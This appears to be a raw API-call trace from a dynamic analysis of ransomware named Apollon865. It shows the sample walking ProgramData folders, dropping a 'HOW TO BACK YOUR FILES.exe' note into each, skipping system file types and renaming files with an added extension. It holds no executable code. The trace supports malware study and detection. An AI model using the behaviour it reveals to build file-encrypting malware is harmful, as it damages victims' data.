	[0051.048] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.048] GetLastError () returned 0x0
	[0051.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.048] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.048] CloseHandle (hObject=0x15c) returned 1
	[0051.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.048] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.049] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.049] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.049] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.049] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.049] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Server" | out: lpString1="Server") returned="Server"
	[0051.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0051.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf28
	[0051.049] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0051.049] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\DRM\\Server", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server"
	[0051.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0051.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0051.049] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM\\Server") returned 35
	[0051.049] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\DRM\\Server" | out: lpString1="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server"
	[0051.049] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.049] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\drm\\server\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.050] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.050] GetLastError () returned 0x0
	[0051.050] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.050] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.050] CloseHandle (hObject=0x15c) returned 1
	[0051.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.050] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.050] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.050] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.050] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.050] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.050] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\DeviceSync", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync"
	[0051.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bded8 | out: hHeap=0x580000) returned 1
	[0051.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0051.050] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DeviceSync") returned 35
	[0051.050] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\DeviceSync" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync"
	[0051.050] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.050] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.051] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.051] GetLastError () returned 0x0
	[0051.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.051] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.051] CloseHandle (hObject=0x15c) returned 1
	[0051.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.051] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.051] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.051] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.051] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.051] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.051] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0051.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0051.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0051.051] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage") returned 37
	[0051.052] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0051.052] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.052] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.052] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.052] GetLastError () returned 0x0
	[0051.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.052] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.052] CloseHandle (hObject=0x15c) returned 1
	[0051.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.052] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.052] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.052] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.052] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.053] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.053] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Device" | out: lpString1="Device") returned="Device"
	[0051.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0051.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5458
	[0051.053] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0051.053] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Task" | out: lpString1="Task") returned="Task"
	[0051.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0051.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0051.053] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0051.053] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0051.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0051.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0051.053] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned 42
	[0051.053] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0051.053] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.053] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.053] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.054] GetLastError () returned 0x0
	[0051.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.054] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.054] CloseHandle (hObject=0x15c) returned 1
	[0051.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.054] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.054] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.054] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.054] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.054] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.054] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0051.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0051.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x5c8f30
	[0051.054] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0051.054] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0051.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0051.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x599450
	[0051.054] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0051.054] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0051.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0051.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0051.055] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0051.055] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0051.055] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.055] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.055] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.055] GetLastError () returned 0x0
	[0051.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.055] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.055] CloseHandle (hObject=0x15c) returned 1
	[0051.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.055] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.055] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.056] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.056] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.056] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.056] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0051.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0051.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599450
	[0051.056] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0051.056] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico"
	[0051.056] lstrlenW (lpString="folder.ico") returned 10
	[0051.056] lstrlenW (lpString="Apollon865") returned 10
	[0051.056] lstrlenW (lpString=".dll") returned 4
	[0051.056] lstrcmpiW (lpString1="folder.ico", lpString2=".dll") returned 1
	[0051.056] lstrlenW (lpString=".lnk") returned 4
	[0051.056] lstrcmpiW (lpString1="folder.ico", lpString2=".lnk") returned 1
	[0051.056] lstrlenW (lpString=".ini") returned 4
	[0051.056] lstrcmpiW (lpString1="folder.ico", lpString2=".ini") returned 1
	[0051.056] lstrlenW (lpString=".sys") returned 4
	[0051.056] lstrcmpiW (lpString1="folder.ico", lpString2=".sys") returned 1
	[0051.056] lstrlenW (lpString="folder.ico") returned 10
	[0051.056] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="print_pref.ico" | out: lpString1="print_pref.ico") returned="print_pref.ico"
	[0051.056] lstrlenW (lpString="print_pref.ico") returned 14
	[0051.056] lstrlenW (lpString="Apollon865") returned 10
	[0051.056] lstrcmpiW (lpString1="t_pref.ico", lpString2="Apollon865") returned 1
	[0051.056] lstrlenW (lpString=".dll") returned 4
	[0051.056] lstrcmpiW (lpString1="print_pref.ico", lpString2=".dll") returned 1
	[0051.056] lstrlenW (lpString=".lnk") returned 4
	[0051.056] lstrcmpiW (lpString1="print_pref.ico", lpString2=".lnk") returned 1
	[0051.056] lstrlenW (lpString=".ini") returned 4
	[0051.056] lstrcmpiW (lpString1="print_pref.ico", lpString2=".ini") returned 1
	[0051.057] lstrlenW (lpString=".sys") returned 4
	[0051.057] lstrcmpiW (lpString1="print_pref.ico", lpString2=".sys") returned 1
	[0051.057] lstrlenW (lpString="print_pref.ico") returned 14
	[0051.057] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="print_property.ico" | out: lpString1="print_property.ico") returned="print_property.ico"
	[0051.057] lstrlenW (lpString="print_property.ico") returned 18
	[0051.057] lstrlenW (lpString="Apollon865") returned 10
	[0051.057] lstrcmpiW (lpString1="operty.ico", lpString2="Apollon865") returned 1
	[0051.057] lstrlenW (lpString=".dll") returned 4
	[0051.057] lstrcmpiW (lpString1="print_property.ico", lpString2=".dll") returned 1
	[0051.057] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="print_queue.ico" | out: lpString1="print_queue.ico") returned="print_queue.ico"
	[0051.057] lstrlenW (lpString="print_queue.ico") returned 15
	[0051.057] lstrlenW (lpString="Apollon865") returned 10
	[0051.057] lstrcmpiW (lpString1="_queue.ico", lpString2="Apollon865") returned -1
	[0051.057] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="scan_.ico" | out: lpString1="scan_.ico") returned="scan_.ico"
	[0051.057] lstrlenW (lpString="scan_.ico") returned 9
	[0051.057] lstrlenW (lpString="Apollon865") returned 10
	[0051.057] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="scan_property.ico" | out: lpString1="scan_property.ico") returned="scan_property.ico"
	[0051.057] lstrlenW (lpString="scan_property.ico") returned 17
	[0051.057] lstrlenW (lpString="Apollon865") returned 10
	[0051.057] lstrcmpiW (lpString1="operty.ico", lpString2="Apollon865") returned 1
	[0051.057] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="scan_settings.ico" | out: lpString1="scan_settings.ico") returned="scan_settings.ico"
	[0051.057] lstrlenW (lpString="scan_settings.ico") returned 17
	[0051.057] lstrlenW (lpString="Apollon865") returned 10
	[0051.057] lstrcmpiW (lpString1="ttings.ico", lpString2="Apollon865") returned 1
	[0051.058] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="tasks.xml" | out: lpString1="tasks.xml") returned="tasks.xml"
	[0051.058] lstrlenW (lpString="tasks.xml") returned 9
	[0051.058] lstrlenW (lpString="Apollon865") returned 10
	[0051.058] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.Apollon865") returned 102
	[0051.058] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.Apollon865" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.058] GetLastError () returned 0x5
	[0051.058] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml MoveFileEx error 5\r\n") returned 120
	[0051.058] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml MoveFileEx error 5\r\n") returned 120
	[0051.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.058] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1734
	[0051.058] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x78, lpOverlapped=0x0) returned 1
	[0051.058] CloseHandle (hObject=0x14c) returned 1
